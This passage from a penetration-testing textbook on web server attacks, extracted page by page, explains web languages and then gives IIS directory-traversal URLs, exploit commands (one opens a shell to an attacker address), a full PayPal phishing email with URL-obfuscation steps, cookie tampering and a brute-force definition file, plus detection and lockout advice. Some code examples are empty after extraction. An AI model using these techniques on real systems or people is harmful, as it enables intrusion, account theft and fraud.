the two arguments\n@myvalue = @ARGV;\nprint “First: @myvalue[0] \\n”;\nprint “Second: @myvalue[1]\\n\\n”;\nprint @myvalue[0].@myvalue[1];\nExample 7-9\nPerl Script Output\nC:\\PerlExample.pl “DAWN” “Security”\nFirst: DAWN\nSecond: Security\nDAWNSecurity\nC:\\\n" }, { "page_number": 216, "text": "Understanding Web Languages 189\nFigure 7-5 provides the basis for the following step-by-step example:\nStep 1\n The client requests a page called result.asp.\nStep 2\n The web server reads the file from disk. \nStep 3\n The server looks at the extension of the file and determines if it should \nsend it back to the client or send it off for processing.\nStep 4\n The server-side code within the page is processed. In this example, it \ngoes to a back-end database to collect data for the requester. Then it \nformats that data into a nice HTML web page.\nStep 5\n The server-side code is removed from result.asp.\nStep 6\n The page is sent back to the requesting user, and all is good. \nFigure 7-5\nBasic Server-Side Processing\nThis is the basic flow of most server-side applications. Now consider a simple ASP-specific \nexample. ASP uses special identifiers such as <% and %> in a web page to notify what is \nand what is not server-side code. Everything between the two symbols is executed on the \nweb server and then removed before returning the page to the client. Any client-side code \nsuch as JavaScript or VBScript then executes at the client browser.\nReview the code section in Example 7-10. In this page, you can see some raw ASP code \ndesignated by the <% %> symbols. This is what is on the hard disk of the web server. The \nfirst section of <%@ language=“VBScript” %> tells the web server that the server-side \ncode within this ASP page is VBScript and not JavaScript. The next section \nNo\nRead Page \nfrom Disk\nDatabase\nWeb Server\nresult.asp\nRequest\nresult.asp\nYes\nis .asp?\n<% code %> \n\n<% code %> \n\n\n --data-- \n\nSend Page \nto Requester\nProcess\n.asp Code\n4\n1\n3\n2\n6\nRemove .asp Code\n5\n" }, { "page_number": 217, "text": "190\nChapter 7: Performing Web Server Attacks\n<% response.write now() %> gets the server time (now) and writes it into the HTML web \npage. The remainder of the text remains unchanged until it reaches the client web browser. \nExample 7-11 shows what the client sees as the source code for the web page that is \nreturned. Notice that all the ASP server-side code has been removed and the now() function \nhas been replaced with the time of the web server at the point of creating the web page. \nFigure 7-6 displays what the end client browser displays.\nASP as a server-side scripting engine is quite easy to use and contains a powerful set of \ncapabilities. It is flexible enough to accommodate VBScript or JavaScript programmers and \nis fully supported with a wealth of demos and free scripting examples all over the Internet. \nTo learn more about ASP and sample code, go to http://www.asp101.com.\nExample 7-10\nASP Code in the Raw Page\n<%@ language=“VBScript” %>\n\n \n ASP Example\n \n \n Welcome

\n Server Date and Time is: <% response.write now() %>

\n \n \n \n\nExample 7-11\nASP Page Output\n\n \n ASP Example\n \n \n Welcome

\n Server Date and Time is: 02/01/2005 19:58:12

\n \n \n \n\n" }, { "page_number": 218, "text": "Understanding Web Languages 191\nFigure 7-6\nASP Example\nNOTE\nASP is typically used on Microsoft IIS server; however, Apache Web servers can also \nexecute ASP pages if you install Sun Java System Active Server Pages, which was formally \nknown as Chilisoft ASP (http://www.sun.com/software/chilisoft/index.xml). If you like \nASP but do not like IIS, give this a try.\nCGI\nCommon Gateway Interface (CGI) was just about the first server-side dynamically \ngenerating content engine around. It used not VBScript or JavaScript to create pages but \ntypically two older languages: Perl or C. However, CGI could use any of the following \nlanguages:\n•\nAny of the UNIX shells \n•\nAppleScript\n•\nC or C++ \n•\nFortran \n•\nPerl \n•\nTCL \n•\nVisual Basic \nCGI commonly relied on a directory called cgi-bin as its indicator to determine when to \nexecute code before returning the content to the client. CGI itself is not actually a language \nbut a guideline engine on how to use other languages to create content. Perl was probably \nthe most common language that CGI used. Programmers would create Perl code files, give \nthem the extension of .pl, and then place them in the cgi-bin directory. When the .pl file was \nrequested, the web server would execute it as long as it was located in the cgi-bin folder. \n" }, { "page_number": 219, "text": "192\nChapter 7: Performing Web Server Attacks\nFor more information about CGI, check out http://www.w3.org and http://\nhoohoo.ncsa.uiuc.edu/cgi/intro.html.\nPHP Hypertext Preprocessor\nPHP was originally called Personal Home Page and created by Rasmus Lerdorf back in \n1995 when he wanted to know how many times people were visiting his online resume. He \ncreated an engine using C and Perl as the back-end and embedded inline code into HTML \nweb pages (similar to ASP or ColdFusion). This allowed his pages to have dynamic content \non them. His little project took off and exploded into a free open source cross-platform \nserver-side scripting language that is one of the most highly used server-side engines today. \nPHP is commonly combined with MySQL and Apache to make a totally free web server \nsolution that you see everywhere on the web today (.php). PHP is now called Hypertext \nPreprocessor. Up to version 4 is running on the Zend parsing engine.\nLike ASP, PHP has tags (symbols) that surround the code embedded within the HTML \npage. The tags are “” at the end. Example 7-\n12 shows the same server-side time as done in Example 7-10 for ASP. However, look \nclosely, and you will see PHP code being used instead. The code \nuses the echo command to print the results of the date function.\nNOTE\nA great place to learn PHP coding is at http://www.php.net or http://www.w3schools.com/\nphp/php_intro.asp.\nExample 7-12\nPHP Code Output\n\n \n PHP Example\n \n \n Welcome

\n Server Date and Time is:

\n \n \n \n\n" }, { "page_number": 220, "text": "Understanding Web Languages 193\nColdFusion\nBack in 1995, two brothers, J.J. and Jeremy Allaire, started a company called Allaire.com. \nThis company went on to create a server-side dynamic web page product called \nColdFusion. ColdFusion uses a language called the ColdFusion Markup Language \n(CFML) to place tags inside the HTML, similar to ASP and PHP. When the server reads the \n.cfm page from disk, it looks for any tags that start with “\n \n ColdFusion Example\n \n \n Welcome

\n Server Date and Time is: #Now()#

\n \n \n \n\n" }, { "page_number": 221, "text": "194\nChapter 7: Performing Web Server Attacks\nsuffers from minor compatibility issues during compile time and had been plagued with the \nstigma of being very slow.\nJava is an object-oriented language that has made its way into the Internet and is used in \nthousands of e-commerce websites. The language, as discussed in the sections that follow, \nhas two main parts: client-based Java and server-based Java. \nClient-Based Java\nClient-based is the same as saying client-side as in VBScript and JavaScript. Java code is \ncreated into a file with a .java extension. Then the file is compiled into bytecode and given \nan extension of .class. Finally, the code is referenced within HTML by using an \ntag. When a client browser opens the web page, the code is downloaded and ready to be \nexecuted if needed. One advantage of client-based Java is that the code in the .class file is \nobfuscated within bytecode, making it harder to understand the functionality of the code. \nAlthough this security through obscurity provides some advantages, a disadvantage is that \nthe clients who want to execute the code must download and install a Java Virtual Machine \nto compile and execute Java code.\nServer-Based Java\nServer-based Java is almost exactly the same model used with other server-side systems \nsuch as ASP, PHP, and ColdFusion. When the extension .jsp is read, the file is sent to the \napplication server and the servlet is then executed, returning the result to the client browser. \nSeveral different application servers are on the market today, but five hold most of the \nmarket share:\n•\nJRun 4 by Macromedia\n•\nWebLogic by BEA\n•\nJDeveloper by Oracle\n•\nJava Web Server by Sun\n•\nWebSphere by IBM\nBecause you can compile Java into bytecode, most developers and system administrators \ninitially considered it to be quite secure. However, you can reverse bytecode using \nprograms called decompilers. One of the fastest and most famous is Java Decompiler (Jad) \nby Pavel Kouznetsov. (See http://www.kpdus.com/jad.html.) JAD is a command-line \ndecompiler. If you are a Windows GUI guy, download Martin Cowley’s Front End Plus \nfrom Kouznetsov’s website. In the example that follows, a bytecode compiled class called \nPictureClock.class was put into Jad/Front End Plus and decompiled in less than a second. \nYou can now view all the source code and even recompile it if you like.\n" }, { "page_number": 222, "text": "Understanding Web Languages 195\nDecompiling a Java applet is quite easy:\nStep 1\nFind a site that has an applet tag. (See Figure 7-7.)\nStep 2\nView the source and find the actual name of the applet.\nStep 3\nPut the path and name back into a browser. (See Figure 7-8.)\nStep 4\nDownload the class.\nStep 5\nStart Jade-Front End Plus and decompile the bytecode class. (See Figure \n7-9.)\nStep 6\nRead through the code for vulnerabilities.\nFigure 7-7\nLooking for the Tag\nFigure 7-8\nDownloading the Java Bytecode Class\n" }, { "page_number": 223, "text": "196\nChapter 7: Performing Web Server Attacks\nFigure 7-9\nDecompiling the Class Back to Java\nWebsite Architecture\nNow that you have a reasonable understanding of some of the most common website \nlanguages, it is time to put it all together. Before you can understand how to perform an \nattack against web servers, you must understand how web traffic works. When you enter a \nwebsite address into a browser, such as http://www.cisco.com, your computer first sends a \nDNS request to your DNS server. In this request, your computer is asking for the IP address \nfor the Cisco.com website. Your DNS server will respond with the IP address of the website \nyou are requesting (for example, 198.133.219.25). \nNext, your web browser creates a socket. A socket is a combination of your IP address and \nthe destination port number which, in the case of HTTP traffic, is TCP port 80. In this \nexample (also illustrated in Figure 7-10), a socket would be created for 198.133.219.25:80. \nYour web browser then sends an HTTP GET request to the socket address of \n198.133.219.25:80. The web server at this address listens to this request and returns a \nresponse code:\n•\n200 OK\n•\n404 Page Not Found\n•\n403 Access Denied\n•\n302 Object Moved\n" }, { "page_number": 224, "text": "Website Architecture\n197\nIf the response is 200 (OK), the requested data is returned to the web browser and presented \nto the browser. The requested data is typically formatted in a markup, or tagging, language \nsuch as XML, HTML, or SGML. HTML is the most common standard. You can read more \nabout HTML in RFC 2616 (http://www.ietf.org/rfc/rfc2616.txt). \nFigure 7-10 Common Web Traffic\nYou can perform two types of attacks against web servers:\n•\nAttacks against the web server\n•\nWeb-based authentication attacks\nAttacks against web servers include exploiting vulnerabilities in popular servers like the \nApache Web Server or Microsoft Internet Information Server (IIS). You can use these \nattacks to upload files or code, crash a server, or obtain private information. \nThe second attack type, web-based authentication attacks, is gaining unauthorized access \nto a website. This is commonly done through brute force password attacks. \nThe ironic part about web attacks is that web communication can be secure. Unfortunately, \ntoo many developers leave problems in their code that make them open to exploits, and too \nmany servers are left unpatched. This results in vulnerable systems that otherwise should \nnot be. It is this negligence that leaves so many systems susceptible to attackers. As a \npenetration tester, you ultimately are testing for the degree of a company’s negligence to \nprotect their website presence.\n" }, { "page_number": 225, "text": "198\nChapter 7: Performing Web Server Attacks\nE-Commerce Architecture\nA company that provides e-commerce services can be structured in one of two ways:\n•\nSingle-server architecture\n•\nTiered architecture\nThe single-server architecture is found with smaller websites. In this configuration, all web \nservers are housed on a single server. Often, more than one client is found on the same \nserver. This presents a high risk because if one component of the server is breached, all the \nclients on the server are breached. \nAs a penetration tester, you will probably not work much with single-server e-commerce \nsites. If a company can afford to hire a penetration tester and is that concerned with the \nsecurity of its website, it probably has the money to invest in a tiered architecture. \nIn a tiered architecture, the web services are separated across multiple hosts and are \noften redundant to provide for high availability. You can deploy this in several ways, but \nFigure 7-11 presents a common one.\nFigure 7-11 Sample Tiered Design\nHaving an understanding of how web languages and e-commerce architectures work, you \nare ready to learn about specific vulnerabilities and exploits. Apache and IIS, the two most \ncommon web servers, are introduced in the sections that follow.\nWeb Server\nISP2\nISP1\nWeb Server\nDatabase\nServer\nDatabase\nServer\n" }, { "page_number": 226, "text": "E-Commerce Architecture\n199\nApache HTTP Server Vulnerabilities\nThe Apache HTTP Server is developed under the direction of the Apache Software \nFoundation (ASF), a nonprofit organization conceived as the Apache Group in 1995. \nAccording to a 2004 Netcraft survey, 67 percent of all websites are running Apache. \nApache is not as vulnerable as IIS. Most of the vulnerabilities on Apache HTTP Server \noccur in the Windows port of this popular web server, but this port is not as prevalent on the \nInternet as the original UNIX/Linux version.\nNew vulnerabilities are discovered all the time. By the time this book comes to press, new \nvulnerabilities will most likely have been found. Most of the vulnerabilities are related to \ndenial-of-service (DoS) attacks. To read about Apache vulnerabilities, check out the online \npublication Apache Week, which contains a database of all known vulnerabilities with the \nApache web server.\nThe following are some of the popular attacks against Apache web servers:\n•\nMemory consumption DoS—An attacker could send an HTTP GET request with a \nMIME header containing multiple lines with numerous space characters that would \ncrash a server.\n•\nSSL infinite loop—An attacker could cause a DoS attack by aborting an SSL \nconnection and causing a child process to enter an infinite loop.\n•\nBasic authentication bypass—An attacker could gain access to restricted resources \neven though he has not authenticated to the server. This is only found in Apache 2.0.51 \nand is because of a flaw in the code that prevents the merging of the Satisfy directive. \nThe Satisfy directive grants users access to a server with a username and password or \nclient IP address.\n•\nIPv6 URI parsing heap overflow—Using the HTTP test tools created by \nCodenomicon, a leading provider of automated software testing tools, a malicious \nattacker could crash a server when an input validation error occurs in the Apache \nportable runtime library.\nIIS Web Server\nMicrosoft continues to go to great strides to secure their web platform. Each version of IIS \nis more secure than the previous, and their current version leaves little excuse for websites \nto not be protected. Nevertheless, each version increases in complexity and therefore the \nchances for a server to go unpatched and not secure. \nIIS is more than just a single web server. It encompasses many services, including these:\n•\nFTP Service\n•\nNNTP Service\n•\nInternet Printing Protocol (IPP)\n" }, { "page_number": 227, "text": "200\nChapter 7: Performing Web Server Attacks\n•\nSMTP Service\n•\nBITS (used for Windows updates)\n•\nInternet Information Services Manager\n•\nFrontPage 2002 Server Extensions\n•\nWWW Services\nThe last item on the list, WWW Services, includes the following:\n•\nActive Server Pages\n•\nServer side includes \n•\nWebdav publishing\n•\nWWW service\n•\nInternet data connector (IDC)\n•\nRemote desktop web connection\n•\nRemote administration\nAs with all servers, you should turn off unneeded services. The authors have breached many \nwebsites during penetration tests because a webmaster left services like the remote \nadministration or the IPP running even though the company was not using them. Because \nthey were not used, they were left to their default settings, which opened them up for \nattacks.\nA few of the more popular attacks against IIS include the following:\n•\nShowcode.asp\n•\nPrivilege execution\n•\nBuffer overflows\nShowcode.asp \nShowcode.asp allows developers to view the code of a script on a server without executing \nit. It is included in the Microsoft Data Access Components (MDAC) and is located at \nc:\\Program Files\\Common Files\\SYSTEM\\MSADC. With some manipulation of the URL, \nyou could view the code of other files on a server. This would make it easier for a malicious \nattacker to reverse engineer a program and look for flaws to exploit to gain further access.\nTo execute the showcode.asp script, append after the showcode.asp file a question mark (?) \nand the name of the file you want to view. \nYou can combine this with directory traversal techniques to view files outside of the present \nworking directory where the file is located. For example, to view a file named secretfile.txt \nat the root of the server partition, enter the following URL:\nhttp://www.hackmynetwork.com/msadc/Samples/SELECTOR/\nShowcode.asp?source=/msadc/Samples/../../../../../secretfile.txt\n" }, { "page_number": 228, "text": "E-Commerce Architecture\n201\nThe periods and backslashes (/../) are used for traversing the file system. Many servers are \nprotected against this simple form of directory traversal. However, you can use the Unicode \nrepresentation of backslashes to perform directory traversal. For example, you can use \n%c0%af, %c0%9v, and %c1%1c as ways to get around servers that are protected against \ndirectory traversal. The preceding URL, then, would look like this:\nhttp://www.hackmynetwork.com/msadc/Samples/SELECTOR/showcode.asp?source=/msadc/\nSamples/..%c0%9v..%c1%c1..%c0%af..%c0%9v../secretfile.txt\nYou also can accomplish directory traversal techniques by using such automated tools as \nIIS Xploit and ExecIIS. Again, combining the showcode.asp with directory traversal can \nreveal the code of many files, which a malicious hacker can then use to further exploit a \nsystem.\nBecause directory traversal relies on a default installation with IIS on the same volume as \nthe system partition, you should always install the web root on a different volume. If the \nwebsite is on the D: partition, for example, you cannot traverse the directory to get to the \nsystem root in C:\\windows\\system32. \nPrivilege Escalation\nAnother common attack is performing privilege escalation. Privilege escalation is the \nprocess of gaining an unauthorized level of access on a server. Normally, IIS tries to prevent \nprocesses from running with SYSTEM privileges because this level has the most access on \na server. However, IIS has flaws that allow a malicious hacker to gain access and run \nprograms with SYSTEM-level privileges. With SYSTEM-level access, the attacker can \nperform such tasks as adding users to a server or using .NET commands to gain access to \nother servers.\nYou can perform privilege escalation in several ways, such as the following:\nStep 1\nBegin by using unicodeuploader.pl, a Perl script written by Roelof \nTemmingh, to upload idq.dll (written by HD Moore at Digital Defense, \nInc.). Assuming the website is located at C:\\inetpub\\wwwroot and is \ncalled hackmynetwork, you can enter the following command:\nperl unicodeloader 192.168.1.1:80 ’c:\\inetput\\wwwroot\\hackmynetwork\nStep 2\nGo to the upload.asp file on the website and upload the file you want to \nexecute: \nhttp://www.hackmynetwork.com/upload.asp\nStep 3\nGo to the new idq.dll file and execute whatever command you would like \nwith full SYSTEM access:\nhttp://www.hackmynework.com/scripts/idq.dll\n" }, { "page_number": 229, "text": "202\nChapter 7: Performing Web Server Attacks\nBuffer Overflows\nComputers contain temporary storage areas called buffers to hold information while a \nprogram is running. Figure 7-12 illustrates the format of a typical memory buffer. Included \nin the buffer is an extended instruction pointer (EIP) that indicates what code the program \nshould execute after reading the information in the buffer. A malicious attacker can \noverwrite the buffer and the return pointer with a new pointer, sending the program to \nexecute code of the attacker’s choice. Figure 7-13 diagrams how the new pointer directs the \nprogram to execute malicious code.\nFigure 7-12 Typical Buffer\nFigure 7-13 Buffer Overflow\nYou can run numerous buffer overflow exploit utilities against IIS. Many of these software \nutilities use the IPP printer buffer overflow vulnerability, which was introduced in IIS 5 on \nWindows 2000 Server and discovered by Riley Hassell from eEye Digital Security.\nFunction Call Arguments\nReturn Pointer\nBuffer #1\nBuffer #2\nBuffer #3\nBottom of Memory\nTop of Memory\nCode\nFunction Call Arguments\nNew Pointer\nNew Malicious Code\nBottom of Memory\nTop of Memory\n" }, { "page_number": 230, "text": "Web Page Spoofing 203\nIIS 5.0 allows for remote access to printers using HTTP. The msw3prt.dll provides support \nfor the IPP and allows access to printer files that represent networked printers. The IPP \nservice is susceptible to a buffer overflow attack because it sends 420 bytes to the server \nwith the following GET request:\nGET /NULL.printer HTTP/1.0 HOST:[420 byte buffer]\nSeveral tools utilize this exploit technique. The most popular of these include the original \niishack200.c (eEye) and jill.c (Dark spyrit). Both of these send buffer overflows and give \nthe attacker a command shell where he can execute further commands. \nTo run iishack2000.c against a web server with the IP address of 192.168.1.1 and running \nservice pack 1, type the following from a Windows command prompt:\niishack2000 192.168.1.1 80 1\nYou can run jill.c from a UNIX-based machine or from Windows (assuming you also have \ncygwin1.dll on your system to intercept the command and run it natively within Windows). \nTo run the jill.c exploit against the same server, type the following:\njill 192.168.1.1 80 192.168.1.2 1024\nHere, 192.168.1.2 represents the IP address of the attacker and 1024 is his source port.\nIf you want to run jill.c on Windows, look at iis5hack.zip from Cyrus the Great. It is still \nthe same exploit, but it is designed specifically for the Windows platform.\nWeb Page Spoofing\nWeb page spoofing, or phishing, is becoming a popular technique for malicious hackers to \ncollect account information from unsuspecting users. This is a type of social engineering, \nwhich was discussed in Chapter 4, “Performing Social Engineering.” The following are the \nsteps to perform a type of web page spoofing:\nStep 1\nBegin by downloading the website you want to spoof using such tools as \nWget or Teleport Pro (discussed in Chapter 5, “Performing Host \nReconnaissance”).\nStep 2\nModify the website as needed so that you can collect information, such \nas credit card details, from unsuspecting users.\nStep 3\nHost the website, preferably with a domain name similar to that of your \nspoofed source (for example, http://www.ebays.net instead of http://\nwww.ebay.com).\nStep 4\nDiscover the IP address of the site you are hosting and decode the address \ninto 32-bit DWORDs. You can ping the website or use utilities such as \nNSLookup, dig, or host to determine the IP address. In the following \n" }, { "page_number": 231, "text": "204\nChapter 7: Performing Web Server Attacks\nexample, the private address of 192.168.1.1 is used as the website on an \nintranet. To convert the dotted decimal address into a single, large \ndecimal number, do the following: \na\nTake 192 and multiply it by 16,777,216. This equals 3,221,225,472. Call this \nSEED1.\nb\nTake 168 and multiply it by 65,536. This equals 11,010,048. Call this SEED2.\nc\nTake 1 and multiply it by 256. This equals 256. Call this SEED3. \nd\nNext, add SEED1, SEED2, and SEED3 together with the last octet (1). This \nequals 3,232,235,777. This is your new DWORD value, which will be used to \nobscure the website that unsuspecting users will go to.\nStep 5\nOptionally, you might want to obscure the web page using hexadecimal \nrepresentations of the page name. For example, if the page is called \nmypage.htm, you can obscure by replacing some of its letters with the \nhexadecimal ASCI/I code. You can do this in the file extension. The \nASCII values for “t” is 116, which in hex is 0x74. You can format the \nname, then, as account.h%074m. This hides the type of file that you are \nrequesting the user to go to. \nStep 6\nCraft an e-mail asking the user to go to your spoofed website. Instead of \nlinking to the real site, however, link to the obscured address. You can do \nthis by adding the @ symbol after the real address followed by the \nobscured URL. Web browsers ignore anything before the @ symbol. \nFollowing is a sample e-mail demonstrating this @ technique:\nAccount System Cleanup\nIMPORTANT\nDear PayPal Member, \nDue to overwhelming reports of fraudulent transactions and account \nabuse, PayPal now requires all active members who have an account to \nverify that they rightfully own it.\nYou must click the link below and enter your email, password and \nreference code on the following page to verify your account. \nThis is NOT a SCAM or HOAX. Please check your address bar to make sure \nyou are on the authentic PayPal website.\nhttps://www.paypal.com/accountcleanup/ \nYour reference code is : PPA-2546-5437\nYou will be guided through a series of steps which will require you to \nenter personal information, such as credit card number and/or bank \ndetails. \n" }, { "page_number": 232, "text": "Cookie Guessing\n205\nALL accounts not re-verified within 5 days of receiving this email will \nbe automatically frozen. \nPayPal is doing this to protect it’s valued members from fraud and scams. \nPaypal will not share your personal information with other companies and \ncorporations. Privacy Policy \nThank you for your co-operation,\nPayPal\nWithin the e-mail message, the address looks correct. Even if users look \nat the web link (http://www.paypal.com@3232235777/\naccount.h%074m), it appears as a legitimate address. Really, though, it \nredirects users to go to your website, where you can ask them to put in \ntheir account information.\nCookie Guessing\nMany websites use simple text files called cookies that are downloaded onto a client and \nused to track the activity of that user or to keep a person logged onto a website when he \nreturns. Cookies often contain ID values that a malicious hacker could modify and guess a \nvalue to gain unauthorized access to an account. \nAs an example, consider a fake website that requires users to log on before accessing the \nsite. Figure 7-14 shows the logon page where people are required to register.\nFigure 7-14 Creating an Account\n" }, { "page_number": 233, "text": "206\nChapter 7: Performing Web Server Attacks\nAfter registration, a cookie is downloaded onto the hard drive of the client. Opening the \ncookie shows the following text:\nUSERID\n162294\nwww.hackmynetwork.com/\n1536\n691275136\n30063334\n3283149408\n29661002\n*\nAFFILIATION\n0\nwww.hackmynetwork.com/\n1536\n2082342272\n29862168\n3283149408\n29661002\n*\nNext, change the user ID to a new number. Usually, picking the previous number is \nsufficient:\nUSERID\n162293\nwww.hackmynetwork.com/\n1536\n691275136\n30063334\n3283149408\n29661002\n*\nAFFILIATION\n0\nwww.hackmynetwork.com/\n1536\n2082342272\n29862168\n3283149408\n29661002\n*\nClose the browser and reopen the web page. The website looks at the cookie and logs you \nin automatically as that user. Figure 7-15 shows a user being automatically logged into a \nwebsite with the account information of the user being shown.\n" }, { "page_number": 234, "text": "Cookie Guessing\n207\nFigure 7-15 Cookie Guessing\nHidden Fields\nWeb pages have the option of using hidden fields to hide information from those viewing a \nweb page. Often, these hidden fields contain vital information such as usernames and \npasswords. \nThe problem with hidden fields is that they really are not hidden at all; you just have to \nknow where to look for them. Although the web browser might not show the fields, you can \nlook at the source code of the web page to find them. All web browsers provide the \ncapability to view source code, or you can download the website using a utility such as \nWget and view the source code offline. \nA hidden field is found in forms that are often used when submitting usernames and \npasswords. Examine the following sample form:\n
\nUsername:Password:\nJust by examining this brief form code, you can discover two hidden fields called username\nand password. By looking at the values of these fields, you can see that the username is \nadmin and the password is letmein. \nMost developers shy away from using hidden fields. Nevertheless, you should always look \nat the source code because it might reveal interesting hidden fields.\n" }, { "page_number": 235, "text": "208\nChapter 7: Performing Web Server Attacks\nA great example of using hidden fields to exploit a system is a technique discovered by \nRafel Ivgi. He discovered a vulnerability with Yahoo! Messenger 5.6, in which a person \ncould discover the username and password from a temp file on the computer of the user. \nWhen a user loads Yahoo! Messenger, a temporary HTML file is stored on his computer \nthat contains his username and password. Example 7-14 shows the sample code to exploit \nthis vulnerability.\nExample 7-14\nCapturing Yahoo! Passwords\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
\n \n" }, { "page_number": 236, "text": "Brute Force Attacks 209\nThis demonstrates the danger of using hidden fields. Included in the HTML file is both the \nusername and the password. This exploit requires local access to the computer, however, to \nretrieve the document in the TEMP directory of the user. Note that in Windows 2000 and \nWindows XP, this directory is secured with NTFS, but if you are logged on as that user or \nas a user who has administrative access, using an earlier operating system that does not use \nNTFS, or you have decided to use FAT instead of NTFS, you can access this file.\nBrute Force Attacks\nWhen most people think of web hacking, they think of breaking into accounts on websites. \nHowever, there is no real easy way about this other than just guessing passwords. You can \ndo password guessing manually, where you attempt passwords that you think a person \nmight use, or automatically through a software utility. \nBe careful when brute forcing web passwords. In the United States, brute forcing \ngovernment websites with .gov extensions is a federal felony under the PATRIOT act.\nSoftware utilities rely on two techniques:\n•\nDictionary attacks\n•\nBrute force attacks\nDictionary attacks require the use of a dictionary file containing words (and often \ncombinations of common words and numbers like password123) that the utility uses to \nguess passwords on websites. Brute force attacks take longer because they check every \npossible sequence of numbers, letters, and special characters. \nYou can perform web authentication in two ways:\n•\nHTTP basic authentication—As the name implies, basic authentication is a simple \nmethod of providing access to a website. Passwords are sent clear text to a server and, \nif you are using Windows, are often linked to the server Security Account Database \n(SAM). Web developers can easily create basic authentication, so it is common on \nsmaller, simpler websites. Figure 7-16 shows an example of basic authentication.\n" }, { "page_number": 237, "text": "210\nChapter 7: Performing Web Server Attacks\nFigure 7-16 HTTP Basic Authentication\n•\nHTTP form-based authentication—This form of authentication is also sent as clear \ntext to a server. This method is not linked to the SAM account database; however, it \nstill commonly uses some type of account database (typically SQL). Form-based \nauthentication requires custom web page design; therefore, it involves more work. \nThis is the type that is most common on larger websites. Figure 7-17 shows an \nexample of form-based authentication.\nFigure 7-17 HTTP Form-Based Authentication\nAs a penetration tester, you will come across both types of authentication. The former type, \nbasic authentication, is commonly found on network devices, such as with the Cisco Visual \nSwitch Manager (VSM), which runs on Catalyst switches. The second type, form-based \nauthentication, is more commonly found when authenticating into websites where account \n" }, { "page_number": 238, "text": "Brute Force Attacks 211\ninformation is typically stored. Knowing the type of authentication used is important \nbecause it dictates what type of utility to use for attempting to crack logon credentials.\nTwo common utilities for web-based password cracking are Brutus and HTTP Brute Forcer \nby Munga Bunga.\nBrutus\nBrutus is a powerful yet free password cracker that runs in Windows. You can download it \nfrom http://www.hoobie.net/brutus/. Brutus runs a brute force attack (called a custom\nattack) at about 30,000 attempts per minute against HTTP basic authentication, HTTP \nforms, FTP, POP3, and Telnet. (See Figure 7-18.) \nFigure 7-18 Brutus\nOne of the advantages of Brutus is that you can change the number of connections and \ntimeout values. Many sites begin to block your connection if they see many connections \nfrom a single IP address or multiple authentication attempts within a short period of time. \nChanging these settings aids in going undetected.\nHTTP Brute Forcer\nYou can find HTTP Brute Forcer utility by Munga Bunga at http://www.hackology.com/\nhtml/mungabunga.shtml. \nOne of the advantages of HTTP Brute Forcer over Brutus is that it allows a more \ncustomized approach to brute force cracking through the use of definition files. Although \nBrutus has .bad files that allow some customization, Brute Forcer allows for greater \n" }, { "page_number": 239, "text": "212\nChapter 7: Performing Web Server Attacks\nflexibility. You can download numerous Brute Forcer definition files off of the Hackology \nwebsite. Example 7-15 demonstrates a definition file for Hotmail. \nCAUTION\nBe careful when downloading these programs from other locations than those mentioned, \nbecause malicious hackers have modified these programs to include viruses and provide \nthem for download on other sites. Always be sure to run a virus scanner on this program \nbefore executing it. \nDetecting a Brute Force Attack\nBrute force attacks can be relatively easy to launch with tools such as Brutus and easy to \ndetect, too. During testing by the authors, Cisco IDS and Cisco PIX Firewall failed to make \nany significant type of detection while brute forcing an HTTP Basic Authentication on a \n2003 IIS web server. See the network testing in Figure 7-19. \nExample 7-15\nHotmail Definition File\n’ Hotmail.com .def file -={ Updated }=-\n’ This definition file was written by JeiAr 7/26/2001\n’ comments,questions,whatever can be sent to coolbreeze1979@hotmail.com\n’ Thanks to michelle,hackology.com and munga bunga for writing such a great prog. :)\n’ Works kinda slow, but if you can find a hotmail.def that works faster let me know\nlogin?\nsbox\nhttps://lc1.law5.hotmail.passport.com/cgi-bin/dologin\n&domain=hotmail.com\n&passwd=strPassword\n&submit=enter\n&curmbox=F000000001\n&login=strUsername\n&ishotmail=1\n&reauth=yes\n&sec=no\n&rru=\n&_lang=EN\n&js=yes\n&id=2\n&fs=1\n&cb=_lang%3dEN\n&ct=996103701\n&svc=mail\n&beta=\n" }, { "page_number": 240, "text": "Brute Force Attacks 213\nFigure 7-19 Web Server Network\nBecause Cisco IDS failed to detect such an attack, you have to look deeper into the web \nserver. There, the Windows Security Event Log is helpful if it has been enabled. It displays \nthousands of failed login attempts with Event ID 529. (See Figure 7-20.)\nFigure 7-20 Windows 2003 Event Viewer\nIEV\nWeb Server \nWindows 2003 IIS\n(Brute Force) \nNothing Logged\nHacker\n80 Open\nPIX Firewall \n(Port 80 Open)\nEvent Log\nWeb Logs\n" }, { "page_number": 241, "text": "214\nChapter 7: Performing Web Server Attacks\nThe next place is within the IIS logs typically at C:\\windows\\system32\\logfiles\\w3svc1. \n(See Figure 7-21.)\nFigure 7-21 IIS Web Server Log Files Location\nFigure 7-22 IIS Web Server Log Files Showing Attack\n" }, { "page_number": 242, "text": "Brute Force Attacks 215\nThe text-based log files display hundreds or thousands of 401 errors, which translates into \na failed login attempt. Most systems experience failed logons; however, when you see \nhundreds or even thousands within a short period, you should start to suspect the intent of \nthe user, or hacker. (See Figure 7-22.)\nFinally, Figure 7-23 displays what the hacker will eventually see on Brutus. A successful \npassword match was found, and in this case only 3124 attempts were needed. \nFigure 7-23 Success with Brutus\nProtecting Against Brute Force Attacks\nProjecting against brute force is difficult in most cases. The simplest way is to implement \naccount lockout policies. When sites are using basic authentication, all logon checks are \nmade against the SAM database within Windows (or Active Directory in domain \nconfigurations). Simple settings of account lockout after five attempts definitely minimize \nthe success rate of brute forcers. You can find these settings in the Administrative \nTools\\Local Security Policy on local systems. (See Figure 7-24.)\nPassword\nFound\nAttempts\n" }, { "page_number": 243, "text": "216\nChapter 7: Performing Web Server Attacks\nFigure 7-24 Account Lockout Policies\nForm-based authentication provides another level of difficulty for brute force attacks. You \nhave to involve the website developers to customize their code to include a form of lockout \nattempt. \nThese definitely assist in preventing the guessing of brute forcing passwords. However, this \ncomes at the cost of DoS attacks. If someone uses Brutus against your system and you lock \nout accounts after five attempts, the normal user who wants to log in has now been \npotentially denied access to her own account should she exceed five attempts. Like all \nthings with security, there is tradeoff, so implement these measures with caution.\nAnother method for protecting against brute force attacks is to monitor the log files for \nlogon failure activity and then manually implement blocking or filtering at the firewall level \nor within IIS. By preventing the IP address from reaching the web server, you can \neffectively stop the hacker. However, yet again this tool is at a cost. If multiple users are \nbehind a NAT or Proxy server, blocking the IP address might invoke a self-inflicted DoS of \nevery user behind that IP address.\nAs you can see, preventing brute force attacks can be quite touchy for website \nadministrators. Even if the hacker is detected, it can be difficult to shut him down. In most \ncases, account locking and IP blocking can have a positive effect if 